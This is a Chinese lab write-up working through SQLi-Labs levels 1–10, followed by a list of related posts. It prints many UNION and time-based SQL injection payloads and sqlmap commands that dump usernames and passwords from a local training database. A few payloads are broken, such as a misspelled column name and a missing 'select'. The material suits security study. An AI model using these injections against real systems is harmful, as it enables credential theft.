Less-1

1、看报错类型,确定注入点

?id=1' order by 4--++

2、确定数据库

?id=-1' union select 1,2,3--++

3、查看数据库

?id=-1' union select 1,2,database();--++ 

4、查看数据库中的表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--++

5、提取security数据库中的users表的信息

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--++

6、提取users表中的用户名和密码,注入完成

?id=1' union select 1,2,group_concat(username,"+",password) from security.users--++ 

Less - 2

1、直接测试报错

?id=1 order by 4--++

2、查询当前数据库名

?id=-1 union select 1,2,database();--++

3、查看当前数据库所有表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();--++

4、查看users表的结构信息

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--++

5、查询users表中的用户名和密码

?id=-1 union select 1,group_concat(username,"+",password),3 from security.users--++

Less - 3

1、测试报错,查看注入点

?id=1") order by 4--++

2、查看当前用户、数据库版本、当前数据库

?id=1') union select 1,2,group_concat(user(),"+",version(),"+",database());--++

3、查看security库中的表

?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--++

4、查看users表的结构

?id=1') union select 1,2,group_concat(columns_name) from information_schema.columns where table_name='users';--++

5、查看users表中的username和password,完成注入

?id=1') union select 1,2,group_concat(username,"+",password) from security.users;--++

Less - 4

1、测试报错,查找注入点

?id=1") order by 4--++

2、查看当前用户、数据库版本、当前数据库

?id=-1") union select 1,2,group_concat(user(),"+",version(),"+",database());--++

3、查看security库中的表

?id=-1") union group_concat(tables_name) from information_schema.tables where table_schema='security';--++

4、查看users表的结构,语句与上一关差不多

5、查看users表中的username和password,完成注入

Less - 5

1、测试报错

?id=1' order by 3--+

不报错,但无回显

?id=1' order by 4--+

报错,确定存在注入点

?id=1' union select 1,2,3--+

无数据回显,可能需要盲注

2、用sqlmap跑一下,测试报错注入

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'"

3、查询所有数据库

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --dbs -v 3

4、查询当前数据库

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --current-db -v 3

5、查询当前数据库下的表

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" --tables -v 3

6、发现有一个名为users的表,查询users的所有字段名

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" --columns -v 3

7、发现username和password字段,查询这两个字段

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" -C"username,password" --dump -v 3

Less - 6

1、测试报错

http://192.168.40.128:86/Less-6/?id=1" order by 3--+

没有报错,但是也没有数据回显

http://192.168.40.128:86/Less-6/?id=1" order by 4--+  

报错,确定存在注入点

2、查询无回显,需要盲注

http://192.168.40.128:86/Less-6/?id=1" union select 1,2,3--+

3、使用sqlmap测试注入点

sqlmap -u http://192.168.40.128:86/Less-6/?id=1" -v 3

4、使用sqlmap盲注查询所有数据库

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --dbs

5、sqlmap查询当前数据库

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --current-db -v 3

6、sqlmap查询当前数据库security下的所有表

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" --tables -v 3

7、发现存在users表,查询该表中的所有字段

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" --columns -v 3

8、发现username和password字段,查询这两个字段的内容

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" -C"username,password" --dump -v 3

Less - 7

1、测试报错

http://192.168.40.128:86/Less-7/?id=1')) order by 4--+

2、sqlmap测试报错注入点

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -v 3

3、sqlmap查询当前数据库

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" --current-db -v 3

4、sqlmap查询当前数据库下的所有表

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" --tables -v 3

5、发现存在users表,查询该表下所有字段名

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" --columns -v 3

6、发现字段username和password,查询内容

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" -C"username,password" --dump -v 3

Less - 8

1、测试报错

2、直接sqlmap跑注入点

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -v 3

3、sqlmap查询当前用户

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-user -v 3

4、sqlmap查询所有数据库

5、查询当前数据库

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-db -v 3

6、查询当前数据库下的所有表

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" --tables -v 3

7、发现users表,查询表中所有字段

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" -T"users" --columns -v 3

Less - 9

1、测试单双引号和字符均无报错,直接sqlmap测试

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -v 3

2、查询所有数据库

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --dbs -v 3

3、查询当前数据库与用户名

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --current-db --current-user -v 3

4、查询当前数据库下的所有表

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" --tables -v 3

5、发现users表,查询字段

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" --columns -v 3

6、发现username和password字段,查询内容

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" -C"username,password" --dump -v 3

Less - 10

1、使用sqlmap进行延时注入,level设置为3,可以测试双字符,线程设置为10

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9

Payload: id=1" AND (SELECT 3880 FROM (SELECT(SLEEP(9)))aNIN) AND "Rweq"="Rweq

2、sqlmap测试当前数据库

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9 --current-db

当前数据库名:security

3、sqlmap测试当前数据库下的表名

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" --tables -v 3

当前数据库security下存在的表:emails、referes、uagents、users

4、直接爆数据

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" -T"users" -C"username,password" --dump -v 3

SQL注入 - SQLi-Labs靶场过关记录的更多相关文章

  1. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  2. 【转载】以Java的视角来聊聊SQL注入

    以Java的视角来聊聊SQL注入 原创 2017-08-08 javatiku Java面试那些事儿 在大二就接触过sql注入,之前一直在学习windows逆向技术,认为web安全以后不是自己的从业方 ...

  3. 简单SQL注入试探、二

    DVWA——简单SQL注入小记 今天我们来记录简单的盲注过程 简单的SQL injection(blind) Level:low 登陆后选择SQL Injection(Blind) 能看到这样的界面 ...

  4. 2019-10-24:伪静态,VULHUB搭建靶场,宽字节sql注入,笔记

    伪静态1,需要开启站点的重写机制,需要修改配httpd配置文件,将LoadModule rewrite_module modules/mod_rewrite.so注释取消,需要apache支持解析.h ...

  5. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  6. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  7. 靶场sql注入练手----sqlmap篇(纯手打)

    靶场地址:封神台 方法一.首先尝试手工找注入点判断 第一步,判断是否存在sql注入漏洞 构造 ?id=1 and 1=1 ,回车,页面返回正常 构造 ?id=1 and 1=2 ,回车,页面不正常,初 ...

  8. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  9. pick靶场-sql注入

    甲.数字型注入 数字型注入一般提交值没有引号,所以直接在后面构造语句就可以了. 抓包查看 构造语句 提交后 该数据库表内容被爆出来了. 乙.字符型注入 首先我们要知道一点,字符串在数据库中提交是需要用 ...

随机推荐

  1. 腾讯QQ是用什么语言写的?

    腾讯QQ的开发分客户端软件和服务器端软件两部分. 客户端采用 Microsoft Visual C++开发:  服务器端软件采用Linux gcc开发 :  数据库采用MySql 数据库.  腾讯QQ ...

  2. 如何修改TOMCAT的默认主页为你自己项目的主页

    感谢作者:xxs673076773 原文链接:https://www.iteye.com/blog/xxs673076773-1134805 (最合适的) 最直接的办法是,删掉tomcat下原有Roo ...

  3. 浮动float、浮动影响和清除浮动

    普通流(normal flow) 这个单词很多人翻译为 文档流 , 字面翻译 普通流 或者标准流都可以. 前面我们说过,网页布局的核心,就是用CSS来摆放盒子位置.如何把盒子摆放到合适的位置? CSS ...

  4. drop、delete和truncate三者的区别

    相同点:1.truncate和不带where子句的delete.以及drop都会删除表内的数据.2.drop.truncate都是DDL语句(数据定义语言),执行后会自动提交.不同点:1. trunc ...

  5. Java线程--ReentrantLock使用

    原创:转载需注明原创地址 https://www.cnblogs.com/fanerwei222/p/11871593.html Java线程--ReentrantLock使用, 互斥锁: Reent ...

  6. 部署YUM仓库 (最近睡眠质量很差,你什么时候搬过来住)

    部署YUM仓库 1.YUM概述 YUM(Yellow dog Updater Modified) 基于RPM包构建的软件更新机制 可以自动解决依赖关系 所有软件由集中的YUM软件仓库提供 2.主备安装 ...

  7. 38、python并发编程之IO模型

    目录: 一 IO模型介绍 二 阻塞IO(blocking IO) 三 非阻塞IO(non-blocking IO) 四 多路复用IO(IO multiplexing) 五 异步IO(Asynchron ...

  8. aspnetcore 使用serilog日志

    而在实际项目开发中,使用第三方日志框架来记录日志也是非常多的,首先一般基础的内置日志记录器在第三方日志框架中都有实现,然后很多第三方日志框架在功能上更强大和丰富,能满足我们更多的项目分析和诊断的需求. ...

  9. 暑假撸系统6- Thymeleaf ajax交互!

    本来用Thymeleaf也没想着深度使用ajax,就是用也是非常传统的ajax方式提交然后js控制修改下变量.闲来无事的时候看Thymeleaf的教程发现一哥们的实现方式,以及实现思路,堪称惊奇,先说 ...

  10. 如何通过pid定位是哪个容器

    此时,我有一个pid为28117的进程,通过pdwx命令,无法找到他所在的目录,此时我判定他是docker容器 pwdx 28117 输出如下 28117: / 通过docker ps -q命令,获取 ...